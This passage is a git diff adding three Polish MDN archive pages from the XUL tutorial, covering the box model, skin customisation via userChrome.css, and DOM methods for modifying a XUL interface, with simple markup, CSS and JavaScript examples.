diff --git a/files/pl/mozilla/tech/xul/kurs_xul/model_pudełkowy/index.html b/files/pl/mozilla/tech/xul/kurs_xul/model_pudełkowy/index.html
new file mode 100644
index 0000000000..85ea419d2b
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/model_pudełkowy/index.html
@@ -0,0 +1,126 @@
+---
+title: Model pudełkowy
+slug: Mozilla/Tech/XUL/Kurs_XUL/Model_pudełkowy
+tags:
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/The_Box_Model
+---
+<p>
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dodatkowe_możliwości_przycisku" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Pozycjonowanie_elementów">Następny »</a></p>
+</div>
+<p></p><p>W tym artykule zobaczymy, jak XUL radzi sobie z zarządzaniem układem strony.
+</p>
+<h3 id="Wprowadzenie" name="Wprowadzenie"> Wprowadzenie </h3>
+<p>Główna forma do zarządzania układem strony w XUL jest nazywana 'Modelem pudełkowym'. Model ten pozwala podzielić okno na kilka pudełek. Elementy wewnątrz pudełka będą zorientowane (<code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code>) względem siebie poziomo lub pionowo. Łącząc szereg pudełek, pustych przestrzeni i elementów z atrybutami <code><code id="a-flex"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/flex">flex</a></code></code>, pozwala użytkownikowi zarządzać układem okna.
+</p><p>Mimo że pudełko jest zasadniczą częścią elementu układu zarządzania w XUL, to kieruje się kilkoma bardzo prostymi regułami. Pudełko możemy ułożyć poza swoimi potomkami w jednej lub dwóch orientacjach, albo poziomej albo pionowej. Linie poziome pudełka ustawiają elementy horyzontalnie oraz pionowe pudełka ustawiają swoje elementy pionowo. Możemy myśleć o pudełku jako o jednym wierszu oraz jednej kolumnie z tabeli w HTML. Rozmaite atrybuty umieszczone jako elementy potomne w dodatku własności stylów CSS kontrolują pozycję i rozmiar elementu potomnego.
+</p><p>Prosta składnia pudełka pokazana jest poniżej:
+</p>
+<pre>&lt;hbox&gt;
+ &lt;!-- elementy poziome --&gt;
+&lt;/hbox&gt;
+
+&lt;vbox&gt;
+ &lt;!-- Elementy pionowe --&gt;
+&lt;/vbox&gt;
+</pre>
+<p>Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/hbox" title="hbox">hbox</a></code></code> jest stosowany do tworzenia pudełka zorientowanego poziomo. Każdy element umieszczony w <code>hbox</code> będzie umieszczony poziomo w wierszu. Element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/vbox" title="vbox">vbox</a></code></code> jest stosowany do tworzenia pudełka zorientowanego pionowo. Dodane elementy będą umieszczone pod każdym innym w kolumnie.
+</p><p>Jest także ogólny element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/box" title="box">box</a></code></code>, który domyślnie posiada orientację poziomą, co oznacza, że jest on odpowiednikiem <code>hbox</code>. Jednak możemy zastosować atrybut <code><code id="a-orient"><a href="https://developer.mozilla.org/pl/docs/Mozilla/Tech/XUL/Atrybut/orient">orient</a></code></code>, aby zmienić orientację pudełka. Możemy ustawić ten atrybut na wartość <code>horizontal</code>, aby utworzyć poziome pudełko, a jeśli ustawimy wartość na <code>vertical</code>, to utworzymy pionowe pudełko. </p><p>Tak więc poniższe dwie linie oznaczają to samo:
+</p>
+<pre>&lt;vbox&gt;&lt;/vbox&gt;
+
+&lt;box orient="vertical"&gt;&lt;/box&gt;
+</pre>
+<h4 id="Przyk.C5.82ad:_Umieszczenie_przycisk.C3.B3w_w_pionie" name="Przyk.C5.82ad:_Umieszczenie_przycisk.C3.B3w_w_pionie"> Przykład: Umieszczenie przycisków w pionie </h4>
+<p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxes_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxes_1.xul">Podgląd</a>
+</p>
+<div class="float-right"><img alt="Grafika:boxes-ex1.png"></div>
+<pre>&lt;vbox&gt;
+ &lt;button id="yes" label="Tak"/&gt;
+ &lt;button id="no" label="Nie"/&gt;
+ &lt;button id="maybe" label="Może"/&gt;
+&lt;/vbox&gt;
+</pre>
+<p>Trzy przyciski są zorientowane pionowo, tak jak zasygnalizowaliśmy w pudełku. Chcąc zmienić przyciski tak, aby były zorientowane poziomo, będzie potrzebna zmiana elementu <code><code><a href="/pl/docs/Mozilla/Tech/XUL/vbox" title="vbox">vbox</a></code></code> na element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/hbox" title="hbox">hbox</a></code></code>.
+</p><p>Możemy dodać do pudełka tyle elementów, ile tylko będziemy chcieli, włączając w to inne pudełka. W przypadku pudełka poziomego każdy dodatkowy element będzie umieszczony po prawej stronie wcześniejszego elementu. Elementy nie będą zawijane do nowej linii, więc dodanie większej ilości elementów rozszerzy okno. Podobnie każdy element dodany do pionowego pudełka będzie umieszczony pod wcześniejszym elementem. Przykład poniżej pokazuje proste okno logowania:
+</p>
+<h4 id="Przyk.C5.82ad:_Okienko_logowania" name="Przyk.C5.82ad:_Okienko_logowania"> Przykład: Okienko logowania </h4>
+<p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxes_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxes_2.xul">Podgląd</a>
+</p>
+<div class="float-right"><img alt="Grafika:boxes-ex2.png"></div>
+<pre>&lt;vbox&gt;
+ &lt;hbox&gt;
+ &lt;label control="login" value="Login:"/&gt;
+ &lt;textbox id="login"/&gt;
+ &lt;/hbox&gt;
+ &lt;hbox&gt;
+ &lt;label control="pass" value="Hasło:"/&gt;
+ &lt;textbox id="pass"/&gt;
+ &lt;/hbox&gt;
+ &lt;button id="ok" label="OK"/&gt;
+ &lt;button id="cancel" label="Anuluj"/&gt;
+&lt;/vbox&gt;
+</pre>
+<p><br>
+Tutaj cztery elementy są zorientowane pionowo - dwa wewnętrzne znaczniki <code><code><a href="/pl/docs/Mozilla/Tech/XUL/hbox" title="hbox">hbox</a></code></code> i dwa elementy <code><code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code> - <i>OK</i> i <i>Anuluj</i>. Zwróć uwagę, że tylko elementy potomne są skierowane do pudełka zorientowanego pionowo. Etykiety i pola tekstowe są wewnątrz elementów <code>hbox</code>, więc są zorientowane odpowiednio do tych pudełek, które są poziome. Możemy zobaczyć na obrazku, że każda etykieta i pole tekstowe jest zorientowane poziomo.
+</p><p>Jeśli przyjrzysz się uważnie naszemu obrazkowi, zobaczysz, że dwa pola tekstowe nie są wyrównane poziomo, gdzie każdy jest w innym szeregu. Prawdopodobnie byłoby lepiej, jeśli byłyby. W zasadzie potrzebujemy dodać dodatkowe pudełka.
+</p>
+<h4 id="Przyk.C5.82ad:_Bardziej_zaawansowane_okienko_logowania" name="Przyk.C5.82ad:_Bardziej_zaawansowane_okienko_logowania"> Przykład: Bardziej zaawansowane okienko logowania </h4>
+<p><span id="Przyk%C5%82ad_3"><a id="Przyk%C5%82ad_3"></a><strong>Przykład 3</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxes_3.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_boxes_3.xul">Podgląd</a>
+</p>
+<div class="float-right"><img alt="Grafika:boxes-ex3.png"></div>
+<pre>&lt;vbox&gt;
+ &lt;hbox&gt;
+ &lt;vbox&gt;
+ &lt;label control="login" value="Login:"/&gt;
+ &lt;label control="pass" value="Hasło:"/&gt;
+ &lt;/vbox&gt;
+ &lt;vbox&gt;
+ &lt;textbox id="login"/&gt;
+ &lt;textbox id="pass"/&gt;
+ &lt;/vbox&gt;
+ &lt;/hbox&gt;
+ &lt;button id="ok" label="OK"/&gt;
+ &lt;button id="cancel" label="Anuluj"/&gt;
+&lt;/vbox&gt;
+</pre>
+<p>Zwróć uwagę, jak teraz jest wyrównane każde z pól tekstowych. Aby tak zrobić, potrzebujemy dodać pudełko do wewnątrz głównego pudełka. Dwie etykiety i dwa pola tekstowe są umieszczone wewnątrz poziomego pudełka. Następnie, etykiety są umieszczone wewnątrz kolejnego pudełka, tym razem pionowo, tak jak są pola tekstowe. To jest wewnętrzne pudełko, co tworzy elementy zorientowane pionowo. Poziome pudełko jest potrzebne, jeśli chcemy etykiety vbox i kontrolki vbox umieścić poziomo z każdą inną. Jeśli to pudełko zostałoby usunięte, oba pola tekstowe wyświetlane byłyby poniżej obiema etykietami.
+</p><p>Problemem jest teraz etykieta 'Hasło', która jest za wysoko. Powinniśmy tutaj, tak naprawdę zastosować element <code><code><a href="/pl/docs/Mozilla/Tech/XUL/grid" title="grid">grid</a></code></code>, aby naprawić ten problem, o którym przeczytasz w <a href="pl/Kurs_XUL/Siatki">następnych rozdziałach</a>.
+</p>
+<div class="highlight">
+<h5 id="Nasz_przyk.C5.82ad:_Okienko_dialogowe_Znajd.C5.BA_pliki" name="Nasz_przyk.C5.82ad:_Okienko_dialogowe_Znajd.C5.BA_pliki"> Nasz przykład: Okienko dialogowe &lt;tt&gt;Znajdź pliki&lt;/tt&gt; </h5>
+<p>Dodajmy pudełko do okna dialogowego &lt;tt&gt;Znajdź pliki&lt;/tt&gt;. Pudełko pionowe będzie dodane wokół wszystkich elementów, a pudełko poziome będzie dodane wokół pola tekstowego i przycisków. Rezultat widoczny jest na poniższym obrazku. Przyciski wyświetlone zostaną poniżej pola tekstowego. </p>
+<pre class="eval"><span class="highlightred">&lt;vbox flex="1"&gt;
+
+ &lt;description&gt;
+ Wpisz poniżej swoje kryteria szukania i naciśnij przycisk Znajdź, aby rozpocząć
+ szukanie.
+ &lt;/description&gt;
+
+ &lt;hbox&gt;</span>
+ &lt;label value="Szukaj dla:" control="find-text"/&gt;
+ &lt;textbox id="find-text"/&gt;
+ <span class="highlightred">&lt;/hbox&gt;
+
+ &lt;hbox&gt;
+ &lt;spacer flex="1"/&gt;</span>
+
+ &lt;button id="find-button" label="Znajdź"/&gt;
+ &lt;button id="cancel-button" label="Anuluj"/&gt;
+ <span class="highlightred">&lt;/hbox&gt;
+&lt;/vbox&gt;</span>
+</pre>
+<div class="float-right"><img alt="Grafika:boxes1.png"></div>
+<p>Pionowe pudełko sprawi, że główny tekst, pudełko z polem tekstowym i pudełko z przyciskami są zorientowane pionowo. Wewnętrzne pudełka są zorientowane poziomo. Jak widać na obrazku obok, etykiety i kontrolki input są umieszczone jedna przy drugiej. Przestrzeń i dwa przyciski są umieszczone poziomo w swoim pudełku. Zwróć uwagę, jak <code><code><a href="/pl/docs/Mozilla/Tech/XUL/spacer" title="spacer">spacer</a></code></code> spowoduje, aby przyciski zostały wyświetlone po prawej stronie, ponieważ są elastyczne.
+</p><p>Przykład: <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-boxes.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/findfile/findfile-boxes.xul">Podgląd</a>
+</p>
+</div>
+<p>W następnym artykule zobaczymy <a href="pl/Kurs_XUL/Pozycjonowanie_element%c3%b3w">jak ustawiać stałe wymiary dla elementów</a> oraz jak te wymiary zablokować.
+</p><p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Dodatkowe_możliwości_przycisku" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Pozycjonowanie_elementów">Następny »</a></p>
+</div>
+<p></p>
+<div class="noinclude">
+</div>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/modyfikacja_domyślnego_motywu/index.html b/files/pl/mozilla/tech/xul/kurs_xul/modyfikacja_domyślnego_motywu/index.html
new file mode 100644
index 0000000000..ecba9cabdf
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/modyfikacja_domyślnego_motywu/index.html
@@ -0,0 +1,69 @@
+---
+title: Modyfikacja domyślnego motywu
+slug: Mozilla/Tech/XUL/Kurs_XUL/Modyfikacja_domyślnego_motywu
+tags:
+ - Kurs_XUL
+ - Projekt_MDC
+ - Przewodniki
+ - Strony_do_aktualizacji
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Modifying_the_Default_Skin
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Nadawanie_stylu_drzewa" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Tworzenie_motywów">Następny »</a></p>
+</div><p></p>
+
+<p>Artykuł ten opisuje w jaki sposób zmodyfikować motyw okna.</p>
+
+<h2 id="Motyw_podstawowy" name="Motyw_podstawowy">Motyw podstawowy</h2>
+
+<p><a href="pl/Motywy">Motyw</a> jest ustawiona jako styl kaskadowy, obrazek i zachowanie, który jest stosowany w pliku XUL. Stosujemy różne motywy, jeśli chcemy zmienić widok okna bez zmiany funkcjonalności Mozilla dostarcza dwa podstawowe motywy, Klasyczny i Nowoczesny, inne motywy należy pobrać. XUL dla obu motywów jest taki sam, tak jak jednakże, używamy arkuszy stylów i obrazków to dla każdego z osobna.</p>
+
+<p>Dla prostej personalizacji okna wyglądu Mozilla, wykonaj prostą zmianę arkusza stylów łącząc je. Większa zmiana potrafi wykonać w całości nowy motyw. Okno właściwości Mozilli posiada panel do zmiany motywu.</p>
+
+<p>Motyw opisujemy używając <a href="pl/CSS">CSS</a>, pozwalając na definiowanie kolorów, obramowania i obrazków użytych do stworzenia elementów. Plik classic.jar i modern.jar stanowią i definiują motywy. Katalog globalny zawierający wewnątrz archiwa głównego stylu definiującego jak wyświetlić urozmaicony element XUL. Zmieniając te pliki, możesz zmienić wygląd aplikacji XUL.</p>
+
+<h2 id="Dostosujmy_userChrome.css" name="Dostosujmy_userChrome.css">Dostosujmy userChrome.css</h2>
+
+<p>Jeśli położysz plik nazywający się 'userChrome.css' w katalogu o nazwie 'chrome' będący wewnątrz katalogu profilu użytkownika, możesz nadużywać ustawień bez zmieniany własnych archiwum. Katalog powinien zostać utworzony w momencie tworzenia przez Ciebie profilu i umieszczeniu w nim przykładu. Plik 'userContent.css' został dostosowany do stron internetowych, podczas gdy 'userChrome.css' zostanie dostosowany do pliku chrome.</p>
+
+<p>Na przykład, dodawanie pozwolenia na końcu pliku, możesz zmienić wszystkie elementy <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menubar" title="menubar">menubar</a></code></code> posiadające czerwone tło.</p>
+
+<pre>menubar {
+ background-color: red;
+}
+</pre>
+
+<p>Jeśli otworzysz jakieś okno Mozilli po modyfikacji, to menu bars będzie czerwone. Ponieważ te zmiany zrobione zostały dla użytkownika arkusza stylów, to afekty dla wszystkich okien. Znaczy to tyle, że pasek narzędzi przeglądarki, pasek narzędzi zakładek i nawet pasek menu Znajdź pliki będzie czerwony.</p>
+
+<p>Mając zmienione afekty tylko jednego okna, zmień arkusz stylów łacząc z plikiem XUL. Na przykład, dodanie czerwonego obramowania box wokół komend oknie adresu, dodając następny plik addressbook.css do archiwów modern.jar lub classic.jar.</p>
+
+<pre>menuitem {
+ border: 1px solid red;
+}
+</pre>
+
+<p>Jeśli spojrzymy w jeden motyw w archiwum, zwróć uwagę, że każda posiada numer arkusza stylu i numer obrazka. Arkusze stylów odnoszą się do obrazków. Powinieneś unikać położenia odnośników do obrazków bezpośrednio w plikach XUL, jeśli chcesz aby twoja zawartość miała zdolności motywu. Jest tak, ponieważ szczególne projekty motywów mogą nie używać obrazków i będą potrzebowały więcej na kompleksowy projekt. Kierując do obrazków z pliku CSS, są one w prosty sposób usuwane. Także usuwane są uzależnienia ze specyficznych nazw plików obrazka.</p>
+
+<p><span class="comment">If you look in one of the skin archives, you will notice that each contain a number of style sheets and a number of images. The style sheets refer to the images. You should avoid putting references to images directly in XUL files if you want your content to be skinnable. This is because a particular skin's design might not use images and it may need some more complex design. By referring to the images with CSS, they are easy to remove. It also removes the reliance on specific image filenames.</span></p>
+
+<p>Możesz przydzielać obrazki do przycisków, pól wyboru i innych elementów używając własności <code>list-style-image</code> jak następujące:</p>
+
+<pre>checkbox {
+ list-style-image: url("chrome://findfile/skin/images/check-off.jpg");
+}
+
+checkbox[checked="true"] {
+ list-style-image: url("chrome://findfile/skin/images/check-on.jpg");
+}
+</pre>
+
+<p>Kod ten zmienia obrazki łącząc je z polami wyboru. Pierwszy styl ustawia obrazki dla normalnych pól wyboru, a drugi arkusz stylów ustawia obrazek na zaznaczone pole wyboru. Modyfikator 'checked=true' tworzy styl mający zastosowanie tylko do elementów, które mają ustawiony swój atrybut checked na <code>true</code>.</p>
+
+<p><small><span id="Zobacz_tak%C5%BCe"><a id="Zobacz_tak%C5%BCe"></a><strong>Zobacz także</strong></span> : <a href="pl/Tworzenie_sk%c3%b3rek_dla_Firefoksa">Tworzenie skórek dla Firefoksa</a> i <a href="pl/CSS/Na_pocz%c4%85tek">CSS getting started</a> </small></p>
+
+<p>W następnym artykule, zobaczymy <a href="pl/Kurs_XUL/Tworzenie_motyw%c3%b3w">jak stworzyć nowy motywy</a>.</p>
+
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL:Nadawanie_stylu_drzewa" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL:Tworzenie_motywów">Następny »</a></p>
+</div><p></p>
diff --git a/files/pl/mozilla/tech/xul/kurs_xul/modyfikowanie_interfejsu_xul/index.html b/files/pl/mozilla/tech/xul/kurs_xul/modyfikowanie_interfejsu_xul/index.html
new file mode 100644
index 0000000000..de4b72ee27
--- /dev/null
+++ b/files/pl/mozilla/tech/xul/kurs_xul/modyfikowanie_interfejsu_xul/index.html
@@ -0,0 +1,170 @@
+---
+title: Modyfikowanie interfejsu XUL
+slug: Mozilla/Tech/XUL/Kurs_XUL/Modyfikowanie_interfejsu_XUL
+tags:
+ - DOM
+ - Kurs_XUL
+ - Przewodniki
+ - XUL
+translation_of: Archive/Mozilla/XUL/Tutorial/Modifying_a_XUL_Interface
+---
+<p></p><div class="prevnext" style="text-align: right;">
+ <p><a href="/pl/docs/Kurs_XUL/Obiektowy_model_dokumentu" style="float: left;">« Poprzedni</a><a href="/pl/docs/Kurs_XUL/Manipulowanie_listami">Następny »</a></p>
+</div><p></p>
+
+<p>DOM dostarcza wielu funkcji umożliwiających modyfikowanie dokumentu.</p>
+
+<h2 id="Tworzenie_nowych_element.C3.B3w" name="Tworzenie_nowych_element.C3.B3w">Tworzenie nowych elementów</h2>
+
+<p>Nowy element można utworzyć funkcją dokumentu <code><a href="/pl/DOM/document.createElement" title="pl/DOM/document.createElement">createElement()</a></code>. Pobiera ona jeden argument - nazwę nowego znacznika. Następnie przy pomocy funkcji <code><a href="/pl/DOM/element.setAttribute" title="pl/DOM/element.setAttribute">setAttribute()</a></code> można ustawić atrybuty elementu, a funkcją <code><a href="/pl/DOM/element.appendChild" title="pl/DOM/element.appendChild">appendChild()</a></code> dołączyć go do dokumentu XUL. Poniższy kod doda przycisk do okna XUL:</p>
+
+<p><span id="Przyk%C5%82ad_1"><a id="Przyk%C5%82ad_1"></a><strong>Przykład 1</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_1.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_1.xul">Podgląd</a></p>
+
+<pre>&lt;script&gt;
+function addButton(){
+ var aBox = document.getElementById("aBox");
+ var button = document.createElement("button");
+ button.setAttribute("label","Nowy przycisk");
+ aBox.appendChild(button);
+}
+&lt;/script&gt;
+
+&lt;box id="aBox" width="200"&gt;
+ &lt;button label="Dodaj" oncommand="addButton();"/&gt;
+&lt;/box&gt;
+</pre>
+
+<ul>
+ <li>Skrypt ten najpierw pobiera referencję do pola z <code><a href="/pl/DOM/document.getElementById" title="pl/DOM/document.getElementById">getElementById()</a></code>, które jest kontenerem na nowy przycisk.</li>
+ <li>Funkcja <code><a href="/pl/DOM/document.createElement" title="pl/DOM/document.createElement">createElement()</a></code> tworzy nowy przycisk.</li>
+ <li>Przydzielamy etykietę <code>Nowy przycisk</code> do przycisku stosując funkcję <code><a href="/pl/DOM/element.setAttribute" title="pl/DOM/element.setAttribute">setAttribute()</a></code>.</li>
+ <li>Funkcja <code><a href="/pl/DOM/element.appendChild" title="pl/DOM/element.appendChild">appendChild()</a></code> pudełka jest wywołana by dodać przycisk do siebie.</li>
+</ul>
+
+<p>Funkcja <code><a href="/pl/DOM/document.createElement" title="pl/DOM/document.createElement">createElement()</a></code> tworzy domyślny typ elementu dla dokumentu. W przypadku dokumentów XUL znaczy to, że będą tworzone elementy języka XUL. Dla dokumentów HTML - tworzone będą elementy HTML, więc będą miały cechy i funkcje elementów HTML. Funkcja <code><a href="/pl/DOM/document.createElementNS" title="pl/DOM/document.createElementNS">createElementNS()</a></code> może zostać zastosowana by tworzyć elementy w innej przestrzeni nazw.</p>
+
+<p>Funkcja <code><a href="/pl/DOM/element.appendChild" title="pl/DOM/element.appendChild">appendChild()</a></code> jest stosowana by dodać element potomny kolejnego elementu. Trzema podobnymi funkcjami są funkcje <code><a href="/pl/DOM/element.insertBefore" title="pl/DOM/element.insertBefore">insertBefore()</a></code>, <code><a href="/pl/DOM/element.replaceChild" title="pl/DOM/element.replaceChild">replaceChild()</a></code> i <code><a href="/pl/DOM/element.removeChild" title="pl/DOM/element.removeChild">removeChild</a></code>. Składnia tych funkcji jest następująca:</p>
+
+<pre>parent.appendChild(child);
+parent.insertBefore(child, referenceChild);
+parent.replaceChild(newChild, oldChild);
+parent.removeChild(child);
+</pre>
+
+<p><span class="comment">Poniższe funkcje pozwalają na operacje na węzłach potomnych: * appendChild(child) - dodaje element ''child'' jako węzeł potomny do innego elementu. * insertBefore(child, referenceChild) - wstawia element ''child'' przed elementem ''referenceChild''. * replaceChild(newChild, oldChild) - na miejsce elementu ''oldChild'' wstawia element ''newChild''. * removeChild(child) - usuwa element ''child''.</span></p>
+
+<p>Powinno to być dość proste bo z nazw funkcji wiadomo co one robią.</p>
+
+<ul>
+ <li>Funkcja <code><a href="/pl/DOM/element.insertBefore" title="pl/DOM/element.insertBefore">insertBefore()</a></code> stawia nowy element potomny przed jeden z istniejących elementów. Jest to stosowane do wstawiania do środka ustawienia dziecka zamiast na końcu, jak to robi <code><a href="/pl/DOM/element.appendChild" title="pl/DOM/element.appendChild">appendChild()</a></code>.</li>
+ <li>Funkcja <code><a href="/pl/DOM/element.replaceChild" title="pl/DOM/element.replaceChild">replaceChild()</a></code> usuwa istniejącego potomka i dodaje nowego w jego miejsce i na tą samą pozycję.</li>
+ <li>Ostatecznie funkcja <code><a href="/pl/DOM/element.removeChild" title="pl/DOM/element.removeChild">removeChild()</a></code> usuwa węzeł.</li>
+</ul>
+
+<p><span class="comment">* Funkcja &lt;code&gt;<a href="/pl/DOM/element.insertBefore" title="pl/DOM/element.insertBefore">insertBefore()</a>&lt;/code&gt; wstawia nowy element potomny przed element ''referenceChild''; w celu dodania elementu pod koniec zestawu należy użyć funkcji &lt;code&gt;<a href="/pl/DOM/element.appendChild" title="pl/DOM/element.appendChild">appendChild()</a>&lt;/code&gt;. * Funkcja &lt;code&gt;<a href="/pl/DOM/element.replaceChild" title="pl/DOM/element.replaceChild">replaceChild()</a>&lt;/code&gt; usuwa istniejący element ''oldChild'', a następnie na jego miejsce wstawia nowy ''newChild''. * Funkcja &lt;code&gt;<a href="/pl/DOM/element.removeChild" title="pl/DOM/element.removeChild">removeChild()</a>&lt;/code&gt; usuwa element. Dla powyższych funkcji element, do którego się odwołujemy powinien istnieć, w przeciwnym wypadku powstanie błąd.</span> Note that for all these functions, the reference child or child to remove must already exist or an error occurs.</p>
+
+<p>Częstym przypadkiem jest potrzeba usunięcia elementu, a następnie dodania go w innym miejscu. W tym przypadku wystarczy dodać element bez jego usuwania. Ponieważ węzeł może być tylko w jednym miejscu, użycie funkcji wstawiającej zawsze najpierw usunie węzeł z poprzedniej pozycji, dlatego jest to wygodny sposób na przemieszczanie węzłów w dokumencie.</p>
+
+<h3 id="Kopiowanie_w.C4.99z.C5.82.C3.B3w" name="Kopiowanie_w.C4.99z.C5.82.C3.B3w">Kopiowanie węzłów</h3>
+
+<p>Aby kopiować węzły, możemy wywołać funkcję <code><a href="/pl/DOM/element.cloneNode" title="pl/DOM/element.cloneNode">cloneNode()</a></code>. Funkcja ta zrobi kopię istniejącego węzła, tak więc można go dodać gdziekolwiek indziej. Oryginalny węzeł zostanie w miejscu gdzie się znajduje. Pobiera jeden argument logiczny, który sygnalizuje czy skopiowane mają być wszystkie dzieci węzła/węzłów czy nie. Jeśli argument jest fałszywy to tylko węzeł jest kopiowany, tak że kopia nie zawiera jakichkolwiek dzieci. Jeśli argument jest prawdziwy, to wszystkie dzieci zostaną skopiowane. Dzieje się to rekurencyjnie, więc dla struktury dużego drzewa upewnij się wcześniej, czy na pewno chcemy zaznaczyć atrybut <code>true</code> dla funkcji <code><a href="/pl/DOM/element.cloneNode" title="pl/DOM/element.cloneNode">cloneNode()</a></code>. Przykład znajduje się poniżej:</p>
+
+<p><span id="Przyk%C5%82ad_2"><a id="Przyk%C5%82ad_2"></a><strong>Przykład 2</strong></span> : <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_2.xul.txt">Źródła</a> <a href="https://developer.mozilla.org/samples/xultu/examples/ex_dommodify_2.xul">Podgląd</a></p>
+
+<pre>&lt;hbox height="400"&gt;
+ &lt;button label="Kopiuj"
+ oncommand="this.parentNode.appendChild(this.nextSibling.cloneNode(true));"/&gt;
+
+ &lt;vbox&gt;
+ &lt;button label="Pierwszy"/&gt;
+ &lt;button label="Drugi"/&gt;
+ &lt;/vbox&gt;
+&lt;/hbox&gt;
+</pre>
+
+<p><span class="comment">Po naciśnięciu przycisku &lt;tt&gt;Kopiuj&lt;/tt&gt;, pobierany zostaje następny węzeł rodzeństwa (w naszym przykładzie jest to element ''vbox''). Funkcją cloneNode tworzona jest kopia tego elementu, która następnie dodana zostaje do rodzica.</span></p>
+
+<p>Kiedy przycisk <code>Kopiuj</code> jest naciśnięty...</p>
+
+<ul>
+ <li>odbierzemy <code><a href="/pl/DOM/element.nextSibling" title="pl/DOM/element.nextSibling">nextSibling</a></code> z <code><code><a href="/pl/docs/Mozilla/Tech/XUL/button" title="button">button</a></code></code>, które będzie elementem <code><code><a href="/pl/docs/Mozilla/Tech/XUL/vbox" title="vbox">vbox</a></code></code>.</li>
+ <li>kopia tego elementu jest robiona przy użyciu funkcji <code><a href="/pl/DOM/element.cloneNode" title="pl/DOM/element.cloneNode">cloneNode()</a></code></li>
+ <li>i kopia jest dołączona stosując <code><a href="/pl/DOM/element.appendChild" title="pl/DOM/element.appendChild">appendChild()</a></code>.</li>
+</ul>
+
+<p>Zauważyć można, że niektóre elementy, takie jak <code><code><a href="/pl/docs/Mozilla/Tech/XUL/listbox" title="listbox">listbox</a></code></code> i <code><code><a href="/pl/docs/Mozilla/Tech/XUL/menulist" title="menulist">menulist</a></code></code> posiadają specjalne funkcje modyfikujące, których powinno się użyć w miarę możliwości. Są one opisane w <a href="/pl/Kurs_XUL/Manipulowanie_listami" title="pl/Kurs_XUL/Manipulowanie_listami">następnym artykule</a>.</p>
+
+<h3 id="Manipulowanie_podstawowymi_elementami" name="Manipulowanie_podstawowymi_elementami">Manipulowanie podstawowymi elementami</h3>
+
+<p>Podstawowe elementy XUL, takie jak przyciski, pola wyboru czy przyciski opcji mogą być modyfikowane przy pomocy skryptowych własności. Ponieważ elementy posiadają różne własności, należy sprawdzić w <a href="/pl/Dokumentacja_XUL" title="pl/Dokumentacja_XUL">dokumentacji elementów</a> każdy z nich. Wspólne własności to <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/label">label</a></span></code></code>, <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/value">value</a></span></code></code>, <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/checked">checked</a></span></code></code> i <code><code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/disabled">disabled</a></span></code></code>. Jeśli zachodzi taka potrzeba, ustawiają one lub czyszczą odpowiadające im atrybuty.</p>
+
+<p><span class="comment">Główne elementy XUL takie jak przyciski, pola wyboru i przyciski opcji mogą być modyfikowane przy pomocy skryptowych własności. be manipulated using a number of script properties. The properties available are listed in the <a href="/pl/Dokumentacja_XUL" title="pl/Dokumentacja_XUL">dokumentacji elementów</a> as those available are different for each element. Common properties that you will manipulate include the &lt;code&gt;<code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/label">label</a></span></code>&lt;/code&gt;, &lt;code&gt;<code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/value">value</a></span></code>&lt;/code&gt;, &lt;code&gt;<code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/checked">checked</a></span></code>&lt;/code&gt; and &lt;code&gt;<code><span><a href="https://developer.mozilla.org/pl/docs/XUL/Własność/disabled">disabled</a></span></code>&lt;/code&gt; properties. They set or clear the corresponding attribute as necessary.</span></p>
+
+<h4 id="Przyk.C5.82ady_w.C5.82asno.C5.9Bci_etykiety_i_warto.C5.9Bci" name="Przyk.C5.82ady_w.C5.82asno.C5.9Bci_etykiety_i_warto.C5.9Bci">Przykłady własności etykiety i wartości</h4>
+
+<p>Poniżej znajduje się prosty przykład zmieniający etykietę przycisku:</p>
+
